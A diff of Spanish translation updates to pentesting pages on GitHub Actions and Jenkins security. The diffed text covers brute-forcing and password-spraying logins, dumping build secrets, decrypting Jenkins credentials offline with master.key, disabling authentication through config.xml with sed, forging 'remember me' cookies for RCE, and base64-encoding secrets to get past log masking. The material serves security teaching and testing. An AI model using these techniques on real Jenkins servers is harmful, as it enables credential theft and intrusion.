+- Si estás usando tu aplicación con GitHub Actions y deseas modificar archivos de flujo de trabajo, debes autenticarte en nombre del usuario con un token OAuth que incluya el alcance `workflow`. El usuario debe tener permisos de administrador o escritura en el repositorio que contiene el archivo de flujo de trabajo. Para más información, consulta "[Entendiendo los alcances para aplicaciones OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
 - **Más** en [aquí](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
 
 ### Github Actions
@@ -172,7 +172,7 @@ example-command "$SUPER_SECRET"
 
 > Una vez configurados en el repositorio o en las organizaciones, **los usuarios de github no podrán acceder a ellos nuevamente**, solo podrán **cambiarlos**.
 
-Por lo tanto, la **única forma de robar secretos de github es poder acceder a la máquina que está ejecutando la Github Action** (en ese escenario solo podrás acceder a los secretos declarados para la Action).
+Por lo tanto, **la única forma de robar secretos de github es poder acceder a la máquina que está ejecutando la Github Action** (en ese escenario solo podrás acceder a los secretos declarados para la Action).
 
 ### Entornos de Git
 
@@ -183,62 +183,62 @@ deployment:
 runs-on: ubuntu-latest
 environment: env_name
 ```
-You can configure an environment to be **accedido** by **todas las ramas** (default), **solo ramas protegidas** or **especificar** which branches can access it.\
-It can also set a **número de revisiones requeridas** before **ejecutar** an **acción** using an **entorno** or **esperar** some **tiempo** before allowing deployments to proceed.
+Puedes configurar un entorno para ser **accedido** por **todas las ramas** (por defecto), **solo ramas protegidas** o **especificar** qué ramas pueden acceder a él.\
+También se puede establecer un **número de revisiones requeridas** antes de **ejecutar** una **acción** utilizando un **entorno** o **esperar** un **tiempo** antes de permitir que las implementaciones continúen.
 
 ### Git Action Runner
 
-A Github Action can be **ejecutado dentro del entorno de github** or can be executed in a **infraestructura de terceros** configured by the user.
+Una acción de Github puede ser **ejecutada dentro del entorno de github** o puede ser ejecutada en una **infraestructura de terceros** configurada por el usuario.
 
-Several organizations will allow to run Github Actions in a **infraestructura de terceros** as it use to be **más barato**.
+Varias organizaciones permitirán ejecutar acciones de Github en una **infraestructura de terceros** ya que suele ser **más barato**.
 
-You can **listar los runners autoalojados** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
+Puedes **listar los runners autoalojados** de una organización en _https://github.com/organizations/\<org_name>/settings/actions/runners_
 
-The way to find which **Github Actions are being executed in infraestructura no github** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
+La forma de encontrar qué **Github Actions se están ejecutando en infraestructura no github** es buscar `runs-on: self-hosted` en la configuración yaml de la acción de Github.
 
-It's **no posible ejecutar una Github Action de una organización dentro de una caja autoalojada** of a different organization because **se genera un token único para el Runner** when configuring it to know where the runner belongs.
+**No es posible ejecutar una acción de Github de una organización dentro de una caja autoalojada** de una organización diferente porque **se genera un token único para el Runner** al configurarlo para saber a qué runner pertenece.
 
-If the custom **Github Runner is configured in una máquina dentro de AWS o GCP** for example, the Action **podría tener acceso al endpoint de metadatos** and **robar el token de la cuenta de servicio** the machine is running with.
+Si el **Github Runner personalizado está configurado en una máquina dentro de AWS o GCP**, por ejemplo, la acción **podría tener acceso al endpoint de metadatos** y **robar el token de la cuenta de servicio** con la que se está ejecutando la máquina.
 
-### Git Action Compromise
+### Compromiso de Git Action
 
-If all actions (or a malicious action) are allowed a user could use a **Github action** that is **maliciosa** and will **comprometer** the **contenedor** where it's being executed.
+Si se permiten todas las acciones (o una acción maliciosa), un usuario podría usar una **acción de Github** que es **maliciosa** y **comprometer** el **contenedor** donde se está ejecutando.
 
 > [!CAUTION]
-> A **malicious Github Action** run could be **abusada** by the attacker to:
+> Una **acción maliciosa de Github** ejecutada podría ser **abusada** por el atacante para:
 >
-> - **Robar todos los secretos** the Action has access to
-> - **Moverse lateralmente** if the Action is executed inside a **infraestructura de terceros** where the SA token used to run the machine can be accessed (probably via the metadata service)
-> - **Abusar del token** used by the **workflow** to **robar el código del repo** where the Action is executed or **incluso modificarlo**.
+> - **Robar todos los secretos** a los que la acción tiene acceso
+> - **Moverse lateralmente** si la acción se ejecuta dentro de una **infraestructura de terceros** donde se puede acceder al token de SA utilizado para ejecutar la máquina (probablemente a través del servicio de metadatos)
+> - **Abusar del token** utilizado por el **workflow** para **robar el código del repo** donde se ejecuta la acción o **incluso modificarlo**.
 
-## Branch Protections
+## Protecciones de Ramas
 
-Branch protections are designed to **no dar control completo de un repositorio** to the users. The goal is to **poner varios métodos de protección antes de poder escribir código dentro de alguna rama**.
+Las protecciones de ramas están diseñadas para **no dar control completo de un repositorio** a los usuarios. El objetivo es **implementar varios métodos de protección antes de poder escribir código dentro de alguna rama**.
 
-The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
+Las **protecciones de ramas de un repositorio** se pueden encontrar en _https://github.com/\<orgname>/\<reponame>/settings/branches_
 
 > [!NOTE]
-> It's **no posible establecer una protección de rama a nivel de organización**. So all of them must be declared on each repo.
+> **No es posible establecer una protección de rama a nivel de organización**. Por lo tanto, todas deben ser declaradas en cada repo.
 
-Different protections can be applied to a branch (like to master):
+Se pueden aplicar diferentes protecciones a una rama (como a master):
 
-- You can **requerir un PR antes de fusionar** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
-- **Requerir un número de aprobaciones**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
-- **Desestimar aprobaciones cuando se envían nuevos commits**. If not, a user may approve legit code and then the user could add malicious code and merge it.
-- **Requerir revisiones de los Propietarios de Código**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
-- **Restringir quién puede desestimar revisiones de pull request.** You can specify people or teams allowed to dismiss pull request reviews.
-- **Permitir actores especificados para eludir los requisitos de pull request**. These users will be able to bypass previous restrictions.
-- **Requerir que las verificaciones de estado pasen antes de fusionar.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
-- **Requerir resolución de conversación antes de fusionar**. All comments on the code needs to be resolved before the PR can be merged.
-- **Requerir commits firmados**. The commits need to be signed.
-- **Requerir historia lineal.** Prevent merge commits from being pushed to matching branches.
-- **Incluir administradores**. If this isn't set, admins can bypass the restrictions.
-- **Restringir quién puede enviar a ramas coincidentes**. Restrict who can send a PR.
+- Puedes **requerir un PR antes de fusionar** (por lo que no puedes fusionar código directamente sobre la rama). Si esto se selecciona, se pueden implementar otras protecciones:
+- **Requerir un número de aprobaciones**. Es muy común requerir que 1 o 2 personas más aprueben tu PR para que un solo usuario no pueda fusionar código directamente.
+- **Desestimar aprobaciones cuando se envían nuevos commits**. De lo contrario, un usuario puede aprobar código legítimo y luego el usuario podría agregar código malicioso y fusionarlo.
+- **Requerir revisiones de los Propietarios de Código**. Al menos 1 propietario de código del repo necesita aprobar el PR (por lo que los usuarios "aleatorios" no pueden aprobarlo).
+- **Restringir quién puede desestimar revisiones de solicitudes de extracción.** Puedes especificar personas o equipos autorizados para desestimar revisiones de solicitudes de extracción.
+- **Permitir que actores especificados eviten los requisitos de solicitudes de extracción**. Estos usuarios podrán eludir restricciones anteriores.
+- **Requerir que las verificaciones de estado pasen antes de fusionar.** Algunas verificaciones deben pasar antes de poder fusionar el commit (como una acción de github que verifica que no haya ningún secreto en texto claro).
+- **Requerir resolución de conversaciones antes de fusionar**. Todos los comentarios sobre el código deben ser resueltos antes de que el PR pueda ser fusionado.
+- **Requerir commits firmados**. Los commits deben estar firmados.
+- **Requerir un historial lineal.** Evitar que se envíen commits de fusión a ramas coincidentes.
+- **Incluir administradores**. Si esto no está configurado, los administradores pueden eludir las restricciones.
+- **Restringir quién puede enviar a ramas coincidentes**. Restringir quién puede enviar un PR.
 
 > [!NOTE]
-> As you can see, even if you managed to obtain some credentials of a user, **los repos pueden estar protegidos evitando que puedas enviar código a master** for example to compromise the CI/CD pipeline.
+> Como puedes ver, incluso si lograste obtener algunas credenciales de un usuario, **los repos pueden estar protegidos evitando que puedas enviar código a master** por ejemplo para comprometer el pipeline de CI/CD.
 
-## References
+## Referencias
 
 - [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
 - [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)

src/pentesting-ci-cd/jenkins-security/README.md

@@ -1,10 +1,10 @@
-# Jenkins Security
+# Seguridad de Jenkins
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Información Básica
 
-Jenkins es una herramienta que ofrece un método sencillo para establecer un **entorno de integración continua** o **entrega continua** (CI/CD) para casi **cualquier** combinación de **lenguajes de programación** y repositorios de código fuente utilizando pipelines. Además, automatiza varias tareas rutinarias de desarrollo. Si bien Jenkins no elimina la **necesidad de crear scripts para pasos individuales**, proporciona una forma más rápida y robusta de integrar toda la secuencia de herramientas de construcción, prueba y despliegue que uno puede construir fácilmente de forma manual.
+Jenkins es una herramienta que ofrece un método sencillo para establecer un **entorno de integración continua** o **entrega continua** (CI/CD) para casi **cualquier** combinación de **lenguajes de programación** y repositorios de código fuente utilizando pipelines. Además, automatiza varias tareas rutinarias de desarrollo. Aunque Jenkins no elimina la **necesidad de crear scripts para pasos individuales**, proporciona una forma más rápida y robusta de integrar toda la secuencia de herramientas de construcción, prueba y despliegue que uno puede construir manualmente.
 
 {{#ref}}
 basic-jenkins-information.md
@@ -42,11 +42,11 @@ basic-jenkins-information.md
 
 ### Registro
 
-Podrás encontrar instancias de Jenkins que **te permiten crear una cuenta e iniciar sesión en ella. Así de simple.**
+Podrás encontrar instancias de Jenkins que **te permiten crear una cuenta e iniciar sesión en ella. Tan simple como eso.**
 
 ### **Inicio de Sesión SSO**
 
-Además, si la **funcionalidad**/**plugins** de **SSO** están presentes, entonces deberías intentar **iniciar sesión** en la aplicación usando una cuenta de prueba (es decir, una **cuenta de prueba de Github/Bitbucket**). Truco de [**aquí**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
+Además, si la **funcionalidad**/**plugins** de **SSO** estaban presentes, entonces deberías intentar **iniciar sesión** en la aplicación usando una cuenta de prueba (es decir, una **cuenta de prueba de Github/Bitbucket**). Truco de [**aquí**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
 
 ### Fuerza Bruta
 
@@ -56,15 +56,15 @@ msf> use auxiliary/scanner/http/jenkins_login
 ```
 ### Password spraying
 
-Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
+Usa [este script de python](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) o [este script de powershell](https://github.com/chryzsh/JenkinsPasswordSpray).
 
-### Bypass de la lista blanca de IP
+### Bypass de IP Whitelisting
 
-Muchas organizaciones combinan **sistemas de gestión de control de versiones (SCM) basados en SaaS** como GitHub o GitLab con una **solución CI interna y autohospedada** como Jenkins o TeamCity. Esta configuración permite que los sistemas CI **reciban eventos de webhook de los proveedores de control de versiones SaaS**, principalmente para activar trabajos de pipeline.
+Muchas organizaciones combinan **sistemas de gestión de control de versiones (SCM) basados en SaaS** como GitHub o GitLab con una **solución CI interna y autohospedada** como Jenkins o TeamCity. Esta configuración permite que los sistemas CI **reciban eventos de webhook de proveedores de control de versiones SaaS**, principalmente para activar trabajos de pipeline.
 
-Para lograr esto, las organizaciones **agregan a la lista blanca** los **rangos de IP** de las **plataformas SCM**, permitiéndoles acceder al **sistema CI interno** a través de **webhooks**. Sin embargo, es importante tener en cuenta que **cualquiera** puede crear una **cuenta** en GitHub o GitLab y configurarla para **activar un webhook**, enviando potencialmente solicitudes al **sistema CI interno**.
+Para lograr esto, las organizaciones **blanquean** los **rangos de IP** de las **plataformas SCM**, permitiéndoles acceder al **sistema CI interno** a través de **webhooks**. Sin embargo, es importante notar que **cualquiera** puede crear una **cuenta** en GitHub o GitLab y configurarla para **activar un webhook**, enviando potencialmente solicitudes al **sistema CI interno**.
 
-Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
+Verifica: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
 
 ## Abusos internos de Jenkins
 
@@ -85,7 +85,7 @@ Si has accedido a Jenkins, puedes listar otros usuarios registrados en [http://1
 
 ### Extracción de builds para encontrar secretos en texto claro
 
-Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) para extraer las salidas de consola de los builds y las variables de entorno de los builds para encontrar, con suerte, secretos en texto claro.
+Usa [este script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) para extraer las salidas de consola de los builds y las variables de entorno de los builds para encontrar, con suerte, secretos en texto claro.
 ```bash
 python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
 cd build_dumps
@@ -135,7 +135,7 @@ Para explotar pipelines aún necesitas tener acceso a Jenkins.
 
 ### Construir Pipelines
 
-**Pipelines** también pueden ser utilizados como **mecanismo de construcción en proyectos**, en ese caso se puede configurar un **archivo dentro del repositorio** que contendrá la sintaxis del pipeline. Por defecto se usa `/Jenkinsfile`:
+**Pipelines** también pueden ser utilizados como **mecanismo de construcción en proyectos**, en ese caso se puede configurar un **archivo dentro del repositorio** que contendrá la sintaxis del pipeline. Por defecto se utiliza `/Jenkinsfile`:
 
 ![](<../../images/image (127).png>)
 
@@ -174,7 +174,7 @@ STAGE_ENV_VAR = "Test stage ENV variables."
 }
 steps {
 ```
-### Dumping secrets
+### Extracción de secretos
 
 Para obtener información sobre cómo se tratan generalmente los secretos en Jenkins, consulta la información básica:
 
@@ -182,7 +182,7 @@ Para obtener información sobre cómo se tratan generalmente los secretos en Jen
 basic-jenkins-information.md
 {{#endref}}
 
-Las credenciales pueden ser **alcanzadas por proveedores globales** (`/credentials/`) o por **proyectos específicos** (`/job/<project-name>/configure`). Por lo tanto, para exfiltrar todos ellos, necesitas **comprometer al menos todos los proyectos** que contienen secretos y ejecutar pipelines personalizados/contaminados.
+Las credenciales pueden estar **alcanzadas a proveedores globales** (`/credentials/`) o a **proyectos específicos** (`/job/<project-name>/configure`). Por lo tanto, para exfiltrar todos ellos, necesitas **comprometer al menos todos los proyectos** que contienen secretos y ejecutar pipelines personalizados/contaminados.
 
 Hay otro problema, para obtener un **secreto dentro del env** de un pipeline, necesitas **conocer el nombre y tipo del secreto**. Por ejemplo, si intentas **cargar** un **secreto** de **`usernamePassword`** como un **secreto** de **`string`**, obtendrás este **error**:
 ```
@@ -320,13 +320,13 @@ Si puedes **ver la configuración de cada proyecto**, también puedes ver allí
 
 ![](<../../images/image (180).png>)
 
-#### From Groovy
+#### Desde Groovy
 
 {{#ref}}
 jenkins-dumping-secrets-from-groovy.md
 {{#endref}}
 
-#### From disk
+#### Desde el disco
 
 Estos archivos son necesarios para **desencriptar los secretos de Jenkins**:
 
@@ -349,9 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
 # Secret example
 credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
 ```
-#### Decrypt Jenkins secrets offline
+#### Desencriptar secretos de Jenkins sin conexión
 
-Si has volcado las **contraseñas necesarias para descifrar los secretos**, utiliza [**este script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **para descifrar esos secretos**.
+Si has volcado las **contraseñas necesarias para desencriptar los secretos**, utiliza [**este script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **para desencriptar esos secretos**.
 ```bash
 python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
 06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -365,11 +365,11 @@ println(hudson.util.Secret.decrypt("{...}"))
 ```
 ### Crear un nuevo usuario administrador
 
-1. Accede al archivo Jenkins config.xml en `/var/lib/jenkins/config.xml` o `C:\Program Files (x86)\Jenkins\`
+1. Accede al archivo config.xml de Jenkins en `/var/lib/jenkins/config.xml` o `C:\Program Files (x86)\Jenkis\`
 2. Busca la palabra `<useSecurity>true</useSecurity>` y cambia la palabra **`true`** a **`false`**.
 1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
-3. **Reinicia** el **servidor Jenkins**: `service jenkins restart`
-4. Ahora ve al portal de Jenkins nuevamente y **Jenkins no pedirá ninguna credencial** esta vez. Navega a "**Administrar Jenkins**" para establecer la **contraseña de administrador nuevamente**.
+3. **Reinicia** el servidor **Jenkins**: `service jenkins restart`
+4. Ahora ve al portal de Jenkins nuevamente y **Jenkins no pedirá ninguna credencial** esta vez. Navega a "**Manage Jenkins**" para establecer la **contraseña de administrador nuevamente**.
 5. **Habilita** la **seguridad** nuevamente cambiando la configuración a `<useSecurity>true</useSecurity>` y **reinicia Jenkins nuevamente**.
 
 ## Referencias

src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md

@@ -14,7 +14,7 @@ Si una **cookie autorizada es robada**, puede ser utilizada para acceder a la se
 
 ### SSO/Plugins
 
-Jenkins puede ser configurado usando plugins para ser **accesible a través de SSO de terceros**.
+Jenkins se puede configurar utilizando plugins para ser **accesible a través de SSO de terceros**.
 
 ### Tokens
 
@@ -22,7 +22,7 @@ Jenkins puede ser configurado usando plugins para ser **accesible a través de S
 
 ### Claves SSH
 
-Este componente proporciona un servidor SSH integrado para Jenkins. Es una interfaz alternativa para el [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), y los comandos pueden ser invocados de esta manera usando cualquier cliente SSH. (De la [documentación](https://plugins.jenkins.io/sshd/))
+Este componente proporciona un servidor SSH integrado para Jenkins. Es una interfaz alternativa para el [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), y los comandos se pueden invocar de esta manera utilizando cualquier cliente SSH. (De los [docs](https://plugins.jenkins.io/sshd/))
 
 ## Autorización
 
@@ -35,17 +35,17 @@ En `/configureSecurity` es posible **configurar el método de autorización de J
 
 ![](<../../images/image (149).png>)
 
-- **Estrategia de Autorización Basada en Proyectos:** Este modo es una **extensión** de "**seguridad basada en matriz**" que permite definir una matriz ACL adicional para ser **definida para cada proyecto por separado.**
-- **Estrategia Basada en Roles:** Permite definir autorizaciones usando una **estrategia basada en roles**. Administra los roles en `/role-strategy`.
+- **Estrategia de Autorización Basada en Proyectos:** Este modo es una **extensión** de "**seguridad basada en matriz**" que permite definir una matriz ACL adicional para **cada proyecto por separado.**
+- **Estrategia Basada en Roles:** Permite definir autorizaciones utilizando una **estrategia basada en roles**. Administra los roles en `/role-strategy`.
 
 ## **Reino de Seguridad**
 
 En `/configureSecurity` es posible **configurar el reino de seguridad.** Por defecto, Jenkins incluye soporte para algunos reinos de seguridad diferentes:
 
 - **Delegar al contenedor de servlets**: Para **delegar la autenticación a un contenedor de servlets que ejecuta el controlador de Jenkins**, como [Jetty](https://www.eclipse.org/jetty/).
-- **Base de datos de usuarios propia de Jenkins:** Usa **la propia base de datos de usuarios integrada de Jenkins** para la autenticación en lugar de delegar a un sistema externo. Esto está habilitado por defecto.
+- **Base de datos de usuarios propia de Jenkins:** Utiliza **la propia base de datos de usuarios integrada de Jenkins** para la autenticación en lugar de delegar a un sistema externo. Esto está habilitado por defecto.
 - **LDAP**: Delegar toda la autenticación a un servidor LDAP configurado, incluyendo tanto usuarios como grupos.
-- **Base de datos de usuarios/grupos de Unix**: **Delegar la autenticación a la base de datos de usuarios a nivel de OS de Unix** en el controlador de Jenkins. Este modo también permitirá la reutilización de grupos de Unix para autorización.
+- **Base de datos de usuarios/grupos de Unix**: **Delegar la autenticación a la base de datos de usuarios a nivel de OS de Unix** en el controlador de Jenkins. Este modo también permitirá reutilizar grupos de Unix para autorización.
 
 Los plugins pueden proporcionar reinos de seguridad adicionales que pueden ser útiles para incorporar Jenkins en sistemas de identidad existentes, como:
 
@@ -55,19 +55,19 @@ Los plugins pueden proporcionar reinos de seguridad adicionales que pueden ser
 
 ## Nodos, Agentes y Ejecutores de Jenkins
 
-Definiciones de la [documentación](https://www.jenkins.io/doc/book/managing/nodes/):
+Definiciones de los [docs](https://www.jenkins.io/doc/book/managing/nodes/):
 
 **Nodos** son las **máquinas** en las que se ejecutan los **agentes de construcción**. Jenkins monitorea cada nodo adjunto en cuanto a espacio en disco, espacio temporal libre, intercambio libre, tiempo/sincronización del reloj y tiempo de respuesta. Un nodo se desconecta si alguno de estos valores sale del umbral configurado.
 
-**Agentes** **gestionan** la **ejecución de tareas** en nombre del controlador de Jenkins utilizando **ejecutores**. Un agente puede usar cualquier sistema operativo que soporte Java. Las herramientas requeridas para construcciones y pruebas se instalan en el nodo donde se ejecuta el agente; pueden **ser instaladas directamente o en un contenedor** (Docker o Kubernetes). Cada **agente es efectivamente un proceso con su propio PID** en la máquina host.
+**Agentes** **gestionan** la **ejecución de tareas** en nombre del controlador de Jenkins utilizando **ejecutores**. Un agente puede usar cualquier sistema operativo que soporte Java. Las herramientas requeridas para construcciones y pruebas se instalan en el nodo donde se ejecuta el agente; pueden **instalarse directamente o en un contenedor** (Docker o Kubernetes). Cada **agente es efectivamente un proceso con su propio PID** en la máquina host.
 
-Un **ejecutor** es un **espacio para la ejecución de tareas**; efectivamente, es **un hilo en el agente**. El **número de ejecutores** en un nodo define el número de **tareas concurrentes** que pueden ser ejecutadas en ese nodo al mismo tiempo. En otras palabras, esto determina el **número de `stages` de Pipeline concurrentes** que pueden ejecutarse en ese nodo al mismo tiempo.
+Un **ejecutor** es un **espacio para la ejecución de tareas**; efectivamente, es **un hilo en el agente**. El **número de ejecutores** en un nodo define el número de **tareas concurrentes** que se pueden ejecutar en ese nodo al mismo tiempo. En otras palabras, esto determina el **número de `stages` de Pipeline concurrentes** que pueden ejecutarse en ese nodo al mismo tiempo.
 
 ## Secretos de Jenkins
 
 ### Cifrado de Secretos y Credenciales
 
-Definición de la [documentación](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins utiliza **AES para cifrar y proteger secretos**, credenciales y sus respectivas claves de cifrado. Estas claves de cifrado se almacenan en `$JENKINS_HOME/secrets/` junto con la clave maestra utilizada para proteger dichas claves. Este directorio debe ser configurado para que solo el usuario del sistema operativo bajo el cual se ejecuta el controlador de Jenkins tenga acceso de lectura y escritura a este directorio (es decir, un valor de `chmod` de `0700` o usando atributos de archivo apropiados). La **clave maestra** (a veces referida como "clave de cifrado de clave" en jerga criptográfica) se **almacena \_sin cifrar\_** en el sistema de archivos del controlador de Jenkins en **`$JENKINS_HOME/secrets/master.key`** lo que no protege contra atacantes con acceso directo a ese archivo. La mayoría de los usuarios y desarrolladores utilizarán estas claves de cifrado indirectamente a través de la API [Secret](https://javadoc.jenkins.io/byShortName/Secret) para cifrar datos secretos genéricos o a través de la API de credenciales. Para los curiosos sobre criptografía, Jenkins utiliza AES en modo de encadenamiento de bloques de cifrado (CBC) con relleno PKCS#5 y IVs aleatorios para cifrar instancias de [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) que se almacenan en `$JENKINS_HOME/secrets/` con un nombre de archivo correspondiente a su id de `CryptoConfidentialKey`. Los ids de clave comunes incluyen:
+Definición de los [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins utiliza **AES para cifrar y proteger secretos**, credenciales y sus respectivas claves de cifrado. Estas claves de cifrado se almacenan en `$JENKINS_HOME/secrets/` junto con la clave maestra utilizada para proteger dichas claves. Este directorio debe configurarse para que solo el usuario del sistema operativo bajo el cual se ejecuta el controlador de Jenkins tenga acceso de lectura y escritura a este directorio (es decir, un valor de `chmod` de `0700` o utilizando atributos de archivo apropiados). La **clave maestra** (a veces referida como "clave de cifrado" en jerga criptográfica) se **almacena \_sin cifrar\_** en el sistema de archivos del controlador de Jenkins en **`$JENKINS_HOME/secrets/master.key`** lo que no protege contra atacantes con acceso directo a ese archivo. La mayoría de los usuarios y desarrolladores utilizarán estas claves de cifrado de manera indirecta a través de la API [Secret](https://javadoc.jenkins.io/byShortName/Secret) para cifrar datos secretos genéricos o a través de la API de credenciales. Para los curiosos sobre criptografía, Jenkins utiliza AES en modo de encadenamiento de bloques (CBC) con relleno PKCS#5 y IVs aleatorios para cifrar instancias de [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) que se almacenan en `$JENKINS_HOME/secrets/` con un nombre de archivo correspondiente a su id de `CryptoConfidentialKey`. Los ids de clave comunes incluyen:
 
 - `hudson.util.Secret`: utilizado para secretos genéricos;
 - `com.cloudbees.plugins.credentials.SecretBytes.KEY`: utilizado para algunos tipos de credenciales;
@@ -75,9 +75,9 @@ Definición de la [documentación](https://www.jenkins.io/doc/developer/security
 
 ### Acceso a Credenciales
 
-Las credenciales pueden ser **alcanzadas por proveedores globales** (`/credentials/`) que pueden ser accedidos por cualquier proyecto configurado, o pueden ser limitadas a **proyectos específicos** (`/job/<project-name>/configure`) y, por lo tanto, solo accesibles desde el proyecto específico.
+Las credenciales pueden ser **escaladas a proveedores globales** (`/credentials/`) que pueden ser accedidos por cualquier proyecto configurado, o pueden ser escaladas a **proyectos específicos** (`/job/<project-name>/configure`) y, por lo tanto, solo accesibles desde el proyecto específico.
 
-Según [**la documentación**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Las credenciales que están en alcance están disponibles para la pipeline sin limitaciones. Para **prevenir la exposición accidental en el registro de construcción**, las credenciales son **enmascaradas** de la salida regular, por lo que una invocación de `env` (Linux) o `set` (Windows), o programas que imprimen su entorno o parámetros **no las revelaría en el registro de construcción** a usuarios que de otro modo no tendrían acceso a las credenciales.
+Según [**los docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Las credenciales que están en el ámbito se ponen a disposición de la pipeline sin limitaciones. Para **prevenir la exposición accidental en el registro de construcción**, las credenciales son **enmascaradas** de la salida regular, por lo que una invocación de `env` (Linux) o `set` (Windows), o programas que imprimen su entorno o parámetros **no las revelarían en el registro de construcción** a usuarios que de otro modo no tendrían acceso a las credenciales.
 
 **Por eso, para exfiltrar las credenciales, un atacante necesita, por ejemplo, codificarlas en base64.**
 

src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md

@@ -1,14 +1,14 @@
-# Jenkins Arbitrary File Read to RCE via "Remember Me"
+# Jenkins Lectura Arbitraria de Archivos a RCE a través de "Recordarme"
 
 {{#include ../../banners/hacktricks-training.md}}
 
 En esta publicación de blog es posible encontrar una gran manera de transformar una vulnerabilidad de Inclusión de Archivos Local en Jenkins en RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
 
-Este es un resumen creado por IA de la parte de la publicación donde se abusa de la creación de una cookie arbitraria para obtener RCE abusando de una lectura de archivos locales hasta que tenga tiempo para crear un resumen por mi cuenta:
+Este es un resumen creado por IA de la parte de la publicación donde se abusa de la creación de una cookie arbitraria para obtener RCE abusando de una lectura de archivos locales hasta que tenga tiempo de crear un resumen por mi cuenta:
 
-### Requisitos Previos del Ataque
+### Prerrequisitos del Ataque
 
-- **Requisito de Función:** "Recuerdame" debe estar habilitado (configuración predeterminada).
+- **Requisito de Función:** "Recordarme" debe estar habilitado (configuración predeterminada).
 - **Niveles de Acceso:** El atacante necesita permisos de Lectura/General.
 - **Acceso Secreto:** Capacidad para leer tanto contenido binario como textual de archivos clave.
 
@@ -31,7 +31,7 @@ Este es un resumen creado por IA de la parte de la publicación donde se abusa d
 - **Clave Maestra:** `$JENKINS_HOME/secrets/master.key`
 - **Archivo de Clave MAC:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
 
-#### Paso 2: Falsificación de Cookies
+#### Paso 2: Forja de Cookies
 
 **Preparación del Token**
 
@@ -84,7 +84,7 @@ username + ":" + tokenExpiryTime + ":" + tokenSignature
 
 - **Obtener Tokens CSRF y de Sesión:**
 - Hacer una solicitud a `/crumbIssuer/api/json` para obtener `Jenkins-Crumb`.
-- Capturar `JSESSIONID` de la respuesta, que se utilizará junto con la cookie de "recuerdame".
+- Capturar `JSESSIONID` de la respuesta, que se utilizará junto con la cookie de recordar-me.
 
 **Solicitud de Ejecución de Comando**
 

src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md

@@ -5,7 +5,7 @@
 > [!WARNING]
 > Tenga en cuenta que estos scripts solo enumerarán los secretos dentro del archivo `credentials.xml`, pero **los archivos de configuración de compilación** también pueden tener **más credenciales**.
 
-Puede **volcar todos los secretos desde la consola de scripts de Groovy** en `/script` ejecutando este código
+Puede **volcar todos los secretos de la consola de scripts de Groovy** en `/script` ejecutando este código
 ```java
 // From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
 import jenkins.model.*

src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md

